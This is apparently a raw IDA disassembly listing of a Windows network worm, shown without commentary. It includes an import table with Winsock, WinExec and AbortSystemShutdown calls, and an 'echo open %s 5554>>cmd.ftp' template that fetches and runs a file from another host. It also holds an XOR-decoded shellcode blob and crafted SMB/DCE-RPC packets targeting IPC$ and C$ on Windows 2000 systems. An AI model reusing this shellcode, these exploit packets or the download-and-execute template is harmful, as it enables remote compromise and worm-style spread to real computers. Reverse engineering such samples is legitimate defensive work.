; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD	"+" TO EXPAND]
; [00000036 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO	EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
; [000001DF BYTES: COLLAPSED FUNCTION __dospawn. PRESS KEYPAD "+" TO EXPAND]
; [00000204 BYTES: COLLAPSED FUNCTION __cenvarg. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION ___sbh_heap_init.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [0000032B BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [00000309 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
; [000000B1 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
; [000000FB BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002F6 BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000027 BYTES: COLLAPSED FUNCTION _strrchr.	PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS	KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [00000120 BYTES: COLLAPSED FUNCTION _realloc.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4061E0	proc near		; CODE XREF: __global_unwind2+13p
		jmp	dword_4070B4
sub_4061E0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 386h	dup(0)
dword_407000	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_407004	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_407008	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_40700C	dd 77DFC41Bh	; resolved to->ADVAPI32.RegOpenKeyA		dd 0
dword_407014	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_407018	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_40127D+8Fr ...
dword_40701C	dd 7C834E64h	; resolved to->KERNEL32._lclose					; sub_401B08+2ABr
dword_407020	dd 7C838AE7h	; resolved to->KERNEL32._lwritedword_407024	dd 7C8365A5h	; resolved to->KERNEL32._lcreatdword_407028	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_40159E+4D0r ...
dword_40702C	dd 7C8353CEh	; resolved to->KERNEL32._lreaddword_407030	dd 7C85E830h	; resolved to->KERNEL32._lopendword_407034	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_401EF0+F8r ...
dword_407038	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; WinMain(x,x,x,x):loc_402189r
dword_40703C	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_407040	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; __dospawn+195r
dword_407044	dd 7C810D87h	; resolved to->KERNEL32.WriteFile					; __NMSG_WRITE+14Ar
dword_407048	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_40704C	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResourcedword_407050	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_407054	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_407058	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceAdword_40705C	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_407060	dd 7C834D41h	; resolved to->KERNEL32.lstrcatAdword_407064	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_407068	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; sub_403050+Fr ...
dword_40706C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_407070	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_407074	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_407078	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; ___crtLCMapStringA+A7r
dword_40707C	dd 7C833478h	; resolved to->KERNEL32.SetEnvironmentVariableA					; .text:00408624o ...
dword_407080	dd 7C80A35Eh	; resolved to->KERNEL32.CompareStringW					; ___crtCompareStringA+261r
dword_407084	dd 7C80D077h	; resolved to->KERNEL32.CompareStringA					; ___crtCompareStringA+B9r
dword_407088	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; _realloc+F0r
dword_40708C	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; ___sbh_alloc_new_group+51r
dword_407090	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCPdword_407094	dd 7C809915h	; resolved to->KERNEL32.GetACPdword_407098	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; _setSBUpLow+14r ...
dword_40709C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_4070A0	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4070A4	dd 7C81AE17h	; resolved to->KERNEL32.GetExitCodeProcessdword_4070A8	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; ___sbh_heap_init+Dr ...
dword_4070AC	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; ___sbh_free_block+2C4r ...
dword_4070B0	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; ___crtGetStringTypeA+12Dr
dword_4070B4	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4070B8	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; ___crtGetStringTypeA+11Br ...
dword_4070BC	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryA					; sub_4021CF+27r
dword_4070C0	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; ___crtLCMapStringA+14Dr ...
dword_4070C4	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_4070C8	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4070CC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4070D0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; _doexit+91r
dword_4070D4	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_4070D8	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_4070DC	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_4070E0	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4070E4	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsAdword_4070E8	dd 7C814AE7h	; resolved to->KERNEL32.FreeEnvironmentStringsWdword_4070EC	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; ___wtomb_environ+13r	...
dword_4070F0	dd 7C81CF5Bh	; resolved to->KERNEL32.GetEnvironmentStringsA					; ___crtGetEnvironmentStringsA+E1r
dword_4070F4	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsWdword_4070F8	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCountdword_4070FC	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; __NMSG_WRITE+143r
dword_407100	dd 7C810E51h	; resolved to->KERNEL32.GetFileType					; __ioinit+166r
dword_407104	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroydword_407108	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreatedword_40710C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_407110	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeA					; ___crtGetStringTypeA+8Dr
		align 8
dword_407118	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_40127D+B7r ...
		align 10h
dword_407120	dd 71AB88D3h	; resolved to->WS2_32.listendword_407124	dd 71AC1028h	; resolved to->WS2_32.acceptdword_407128	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40159E+2DDr ...
dword_40712C	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_401398+151r ...
dword_407130	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_40127D+27r ...
dword_407134	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40127D+51r ...
dword_407138	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_40127D+6Cr ...
dword_40713C	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40127D+10Fr ...
dword_407140	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_407144	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoadword_407148	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; sub_4011D5+7r ...
dword_40714C	dd 71AB4FD4h	; resolved to->WS2_32.gethostbyname					; sub_4011D5+1Er ...
dword_407150	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_407154	dd 71AB3E00h	; resolved to->WS2_32.bind		align 10h
dword_407160	dd 2E646D63h, 657865hdword_407168	dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_407174	dd 632Fh	; char VarName[]
VarName		db 'COMSPEC',0          ; DATA XREF: sub_40292E+7o
dword_407180	dd 0FFFFFFFFh, 402A9Bh,	402AAFh; char aPath[]
aPath		db 'PATH',0             ; DATA XREF: __spawnvpe+48o
		align 4
a_com		db '.com',0             ; DATA XREF: .text:off_408D14o
		align 4
a_exe		db '.exe',0             ; DATA XREF: .text:00408D10o
		align 4
a_bat		db '.bat',0             ; DATA XREF: .text:00408D0Co
		align 4
a_cmd		db '.cmd',0             ; DATA XREF: .text:off_408D08o
		align 4
; char a_[]
a_		db '.\',0               ; DATA XREF: __spawnve+51o
		align 4
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .text:off_408DC4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o
		align 4
; char asc_40746C[]
asc_40746C	db 0Ah			; DATA XREF: __NMSG_WRITE+F1o
		db 0Ah,0
		align 10h
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+BFo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do
		align 4
dword_4074A8	dd 2 dup(0)						; ___crtCompareStringA+34o ...
dword_4074B0	dd 0FFFFFFFFh, 403D61h,	403D65haGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA+Do
		align 4
dword_4074F8	dd 0FFFFFFFFh, 4057F6h,	4057FAh, 0FFFFFFFFh, 405865h, 405869h
					; DATA XREF: ___crtCompareStringA+5o
dword_407510	dd 0FFFFFFFFh, 405C12h,	405C16h, 0FFFFFFFFh, 405CC6h, 405CCAh
					; DATA XREF: ___crtLCMapStringA+5o
		dd 76A4h, 2 dup(0)
		dd 76F4h, 7118h, 75A0h,	2 dup(0)
		dd 7876h, 7014h, 76ACh,	2 dup(0)
		dd 7884h, 7120h, 758Ch,	2 dup(0)
		dd 78D6h, 7000h, 5 dup(0)
		dd 77DDEBE7h, 77DD6BF0h, 77E34D78h, 77DFC41Bh, 0
		dd 7C801D77h, 7C80BE01h, 7C834E64h, 7C838AE7h, 7C8365A5h
		dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h
		dd 7C86136Dh, 7C809B47h, 7C810D87h, 7C801A24h, 7C80BC69h
		dd 7C80CC97h, 7C809FB5h, 7C80BE89h, 7C80B6A1h, 7C834D41h
		dd 7C80ADA0h, 7C910331h, 7C80929Ch, 7C80E93Fh, 7C8286EEh
		dd 7C838DE8h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C9179FDh
		dd 7C809A51h, 7C8127A7h, 7C809915h, 7C812E76h, 7C802367h
		dd 7C802520h, 7C81AE17h, 7C9105D4h, 7C91043Dh, 7C80A490h
		dd 7C937A40h, 7C809BF8h, 7C821363h, 7C80CCA8h, 7C801EEEh
		dd 7C812F1Dh, 7C8111DAh, 7C81CDDAh, 7C801E16h, 7C80DDF5h
		dd 7C81153Ch, 7C862E2Ah, 7C81DF77h, 7C814AE7h, 7C80A0D4h
		dd 7C81CF5Bh, 7C812F08h, 7C80CC97h, 7C812F39h, 7C810E51h
		dd 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C838A0Ch, 0
		dd 7E41A8ADh, 0
		dd 71AB88D3h, 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB2B66h
		dd 71AB3B91h, 71AB406Ah, 71AB9639h, 71AB50C8h, 71AB3F41h
		dd 71AB2BF4h, 71AB4FD4h, 71AB664Dh, 71AB3E00h, 0
		dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h
		dd 6C6Ch, 65470000h, 6F725074h,	64644163h, 73736572h, 0
aLoadlibrarya	db 'LoadLibraryA',0
		align 4
aLstrcpya	db 'lstrcpyA',0
		align 10h
a_lclose	db '_lclose',0
		dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h
		dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen		db '_lopen',0
		align 4
		dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
aCreatethread	db 'CreateThread',0
		align 10h
aWinexec	db 'WinExec',0
		dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 74697257h, 6C694665h
		dd 65h,	61657243h, 69466574h, 41656Ch, 69530000h, 666F657Ah
		dd 6F736552h, 65637275h, 0
aLockresource	db 'LockResource',0
		align 4
aLoadresource	db 'LoadResource',0
		align 4
aFindresourcea	db 'FindResourceA',0
		align 4
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aLstrcata	db 'lstrcatA',0
		align 4
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 4
aGetlasterror	db 'GetLastError',0
		align 4
aGettickcount	db 'GetTickCount',0
		align 4
aCreatemutexa	db 'CreateMutexA',0
		align 4
aCopyfilea	db 'CopyFileA',0
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
aWs2_32_dll	db 'WS2_32.dll',0
		align 10h
		dd 62410000h, 5374726Fh, 65747379h, 7568536Dh, 776F6474h
		dd 416Eh, 65520000h, 6F6C4367h,	654B6573h, 79h,	53676552h
		dd 61567465h, 4565756Ch, 4178h,	65520000h, 65704F67h, 79654B6Eh
		dd 44410041h, 49504156h, 642E3233h, 6C6Ch, 65470000h, 61745374h
		dd 70757472h, 6F666E49h, 41h, 43746547h, 616D6D6Fh, 694C646Eh
		dd 41656Eh, 65470000h, 72655674h, 6E6F6973h, 0
aExitprocess	db 'ExitProcess',0
		dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 65470000h
		dd 72754374h, 746E6572h, 636F7250h, 737365h, 65470000h
		dd 6C694674h, 74744165h, 75626972h, 41736574h, 0
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 10h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
		dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
		dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
		dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
		dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount	db 'SetHandleCount',0
		align 4
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
		dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
		dd 72437061h, 65746165h, 0
aVirtualfree	db 'VirtualFree',0
		dd 65480000h, 72467061h, 6565h,	74520000h, 776E556Ch, 646E69h
		dd 754D0000h, 4269746Ch, 54657479h, 6469576Fh, 61684365h
		dd 72h,	53746547h, 6E697274h, 70795467h, 4165h,	65470000h
		dd 72745374h, 54676E69h, 57657079h, 0
aHeapalloc	db 'HeapAlloc',0
		align 4
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h
		dd 74h,	61657243h, 72506574h, 7365636Fh, 4173h,	65470000h
		dd 49504374h, 6F666Eh, 65470000h, 50434174h, 0
aGetoemcp	db 'GetOEMCP',0
		align 4
aVirtualalloc	db 'VirtualAlloc',0
		align 4
aHeaprealloc	db 'HeapReAlloc',0
		dd 6F430000h, 7261706Dh, 72745365h, 41676E69h, 0
aComparestringw	db 'CompareStringW',0
		align 4
		dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h
		dd 656C6261h, 41h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw	db 'LCMapStringW',0
		align 10h
		dd 11Ch	dup(0)
dword_408000	dd 0		dword_408004	dd 0		dword_408008	dd 0				dd offset ___initmbctable
dword_408010	dd 0		dword_408014	dd 0		dword_408018	dd 0		dword_40801C	dd 0		dword_408020	dd 4 dup(0)	off_408030	dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr
					; "echo	off&echo open %s 5554>>cmd.ftp&ech"...
; char Str[]
Str		db 'ë'                  ; DATA XREF: sub_40159E+132o
					; sub_40159E+1ABo
; ---------------------------------------------------------------------------
		adc	[edx+4Ah], bl
		xor	ecx, ecx
		mov	cx, 17Dh


loc_40803E:				; CODE XREF: .text:00408042j
		xor	byte ptr [edx+ecx], 99h
		loop	loc_40803E
		jmp	short loc_40804B
; ---------------------------------------------------------------------------
		dw 0EBE8h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_40804B:				; CODE XREF: .text:00408044j
		jo	short near ptr dword_407B90+452h
		cwde
		cdq
		cdq
		retn
; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_4080E4	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40159E+102o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4081CC	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_401398+15Do
					; sub_40159E+2BDo
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_408258	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+188o
					; sub_40159E+2ECo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
		dd 0
dword_408304	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+1ADo
					; sub_40159E+315o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_4083E4	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_401398+53o
					; sub_40159E+57o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC:					; DATA XREF: sub_401398+85o
					; sub_40159E+89o
		unicode	0, <C$>,0
a?????		db '?????',0
		align 8
dword_408448	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+369o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_4084B4	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+392o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_408558	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+3C8o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4085D8	dd offset loc_401495	; DATA XREF: sub_40159E+3F6o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd offset dword_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_40866C	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+425o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4086D8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40159E+450o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40874C	dd 0				dd offset word_40A89A
